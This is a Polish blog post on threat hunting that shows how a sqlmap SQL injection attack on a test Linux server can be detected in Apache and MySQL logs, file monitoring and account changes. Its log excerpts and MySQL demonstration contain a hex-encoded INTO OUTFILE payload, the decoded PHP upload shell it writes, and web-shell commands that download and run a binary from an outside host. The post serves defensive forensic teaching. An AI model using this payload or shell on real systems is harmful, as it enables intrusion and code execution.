poniedziałek, 7 sierpnia 2017

Aktywne wyszukiwanie zagrożeń na przykładzie ataku SQL injection

Threat hunting to aktywne wyszukiwanie zagrożeń, jest to swojego rodzaju proaktywna informatyka śledcza. Wyszukujemy zagrożenia zanim się wyeskalują, jesteśmy dzięki temu w stanie reagować w trakcie ataku albo niedługo po jego rozpoczęciu, zanim przykładowo dojdzie do wycieku istotnych informacji.

Jak przykładowo może zostać to zrealizowane w przypadku ataku SQL injection (SQLi)? Ostatnio opublikowałem wpis "Eskalacja uprawnień z wykorzystaniem SUID", który jest niejako wprowadzeniem do tego wpisu, dlatego zachęcam do zapoznania się z nim. Na wstępie dodam tylko, że nasze środowisko testowe jest uruchomione na systemie Linux Ubuntu, ma to przede wszystkim znaczenie jeśli chodzi o lokalizację ścieżek itp. W tym przypadku powinny być zgodne z systemem Debian oraz innymi bazującymi na tej dystrybucji.

Jeśli atakujący przeprowadzi następujący atak:
  • Wykorzystanie podatności SQL injection
  • Pobranie na serwer własnego oprogramowania
  • Wykorzystanie go w eksploitacji oraz ostatecznie dodanie nowego użytkownika
...to mamy wystarczająco dużo elementów aby wykryć taki atak na różnych poziomach jego aktywności. W pierwszej kolejności możemy na przykład monitorować logi serwera HTTP pod kątem symptomów ataków, na przykład wyszukując ataki przy pomocy reguł oprogramowania PHP-IDS. Jedną z anomalii mogą być też długie zapytania, szczególnie jeśli zwracają kod 200 (OK):

10.13.1.169 - - [07/Aug/2017:11:22:59 +0100] "GET /sqli/index.php?sqli=1%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27%2Fvar%2Fwww%2Ftmpuwujn.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20--%20oCxa HTTP/1.1" 200 367 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

Symptomami ataku SQLi mogą być słowa kluczowe specyficzne dla języka SQL, takie jak:

SELECT, UNION, INSERT, UPDATE, DELETE, REPLACE, TRUNCATE

Warto również skupić się na tych, które są wykorzystywane w wielokrokowych atakach i służących do przeprowadzania operacji na plikach, w logach po ataku przy pomocy sqlmap znajdziemy:

OUTFILE, LOAD_FILE, DUMPFILE

Jeśli więc przeprowadzimy proste doświadczenie i wykonamy zapytanie, które wysyła program sqlmap:

mysql> SELECT * FROM foo WHERE id = 1 LIMIT 0,1 INTO OUTFILE '/var/www/tmpuwujn.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- oCxa
    -> ;
Query OK, 1 row affected (0.00 sec)

# ls -la /var/www/tmpuwujn.php
-rw-rw-rw- 1 mysql mysql 713 Aug  7 11:59 /var/www/tmpuwujn.php
# cat /var/www/tmpuwujn.php
1 Hello world<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/> <input type=submit name=upload value=upload></form>";}?>

Widzimy, że w ten sposób sqlmap wgrywa na serwer PHP shell i takie pliki mogą być również wykrywane przy pomocy automatycznych skanerów, w tym oprogramowania antywirusowego.

Jeśli w konfiguracji MySQL mamy włączone logowanie (standardowo jest wyłączone):

# grep general /etc/mysql/mysql.conf.d/mysqld.cnf
general_log_file        = /var/log/mysql/mysql.log
general_log             = 1

To zobaczymy te zapytania również w logu /var/log/mysql/mysql.log:

2017-08-07T10:22:59.292863Z    9 Query SELECT * FROM foo WHERE id = 1 LIMIT 0,1 INTO OUTFILE '/var/www/tmpuwujn.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- oCxa

Widzimy tutaj zgodność czasu i pokrycie z logami Apache (różnica godziny to kwestia strefy czasowej, może to zostać skonfigurowane). Aby ułatwić detekcję możemy wykorzystywać dla każdej aplikacji różnych użytkowników bazy danych, ponieważ powyższe zapytanie będzie poprzedzone połączeniem i wyborem bazy danych, w logach zobaczymy:

2017-08-07T10:22:59.292641Z    9 Connect user@localhost on  using Socket
2017-08-07T10:22:59.292726Z    9 Init DB foo

Symptomów ataków możemy więc szukać w różnych logach, jednak przy statusie 200 w logu serwera HTTP możemy zakładać, że zapytanie na bazie danych zostało wykonane. Anomaliami mogą być również niestandardowe nagłówki HTTP User-Agent takie jak w tym konkretnym przypadku sqlmap/1.0.8.2#dev (http://sqlmap.org), Python-urllib/2.7 oraz Wget/1.17.1 (linux-gnu):

10.13.1.169 - - [07/Aug/2017:11:22:59 +0100] "POST /sqli/tmpulnyy.php HTTP/1.1" 200 193 "-" "Python-urllib/2.7"

Wyszukiwanie możemy opierać także o komendy shell, ścieżki, adresy IP i nazwy hosta w polu zapytania HTTP:

10.13.1.169 - - [07/Aug/2017:11:24:17 +0100] "GET /sqli/tmpbwjqk.php?cmd=wget%20-q%20http%3A%2F%2F10.13.1.103%2Fdownload%2Faz%20-O%20whoami%3B%20chmod%20%2Bx%20whoami HTTP/1.1" 200 178 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"
10.13.1.169 - - [07/Aug/2017:11:24:23 +0100] "GET /sqli/tmpbwjqk.php?cmd=PATH=.%3A%24PATH%3B%20%2Fusr%2Fbin%2Ftest_suid HTTP/1.1" 200 178 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

Tym sposobem wykryjemy również inne ataki takie jak Remote Code Execution (RCE), Server Side Request Forgery (SSRF), Remote File Inclusion (RFI), Local File Inclusion (LFI) czy Path Traversal itd.

Kolejnym elementem jest pojawienie się nowego pliku, monitorowanie możemy tak na prawdę w tym przypadku rozszerzyć na różne elementy, takie jak pliki utworzone czy modyfikowane przez użytkowników powiązanych z serwerem HTTP oraz bazą danych – w tym przypadku www-data i mysql. Ważnym aspektem jest również monitorowanie katalogów dostępnych przez stronę internetową, czyli przede wszystkim ścieżki występującej w dyrektywie DocumentRoot serwera Apache. W każdym przypadku do takiej detekcji może być wykorzystany inotify, który jest podsystemem jądra powiadamiającym o zdarzeniach w systemie plików. Przykładowo oprogramowanie OSSEC detekcję opiera na rozmiarze pliku, uprawnieniach (rwx), użytkowniku, grupie oraz funkcjach skrótu md5 i sha1 (zastosowanie dwóch mityguje problem potencjalnej kolizji) wyszukując w ten sposób zmiany, weryfikując integralność. Detekcja może być również płytsza i opierać się przykładowo na sprawdzaniu czasu ctime dla systemu plików ext4, np. przy pomocy polecenia find i w ten sposób wykryjemy nowe pliki jak również te, które zostały ostatnio zmienione.

Analogicznie możemy również wykrywać zmiany w plikach takich jak /etc/passwd oraz /etc/shadow aby wykryć zmiany w kontach użytkowników, w tym dodanie nowych kont. Następnie monitorowanie logów takich jak /var/log/auth.log, wliczając w to logowanie się nowych użytkowników na SSH (do tego celu może być wykorzystany /var/log/lastlog).

Jeśli chodzi o kwestie reverse shell czy chociażby pobierania pliku na serwer to możemy wykrywać połączenia zwrotne z użytkownika, z którego uprawnieniami uruchomiona jest aplikacja webowa. W przypadku iptables wykorzystując parametry uid-owner i gid-owner, o czym swoją drogą pisałem już w 2011 roku na moim techblogu (aktualnie już nie istnieje i odnośnik kieruje do archiwum stron internetowych).

Threat hunting jest połączeniem wiedzy z zakresu informatyki śledczej oraz testów penetracyjnych. Więcej informacji znajduje się w mojej książce, poświęconej analizie powłamaniowej:

„Praktyczna analiza powłamaniowa. Aplikacja webowa w środowisku Linux”
Adam Ziaja, Wydawnictwo Naukowe PWN

Brak komentarzy:

Prześlij komentarz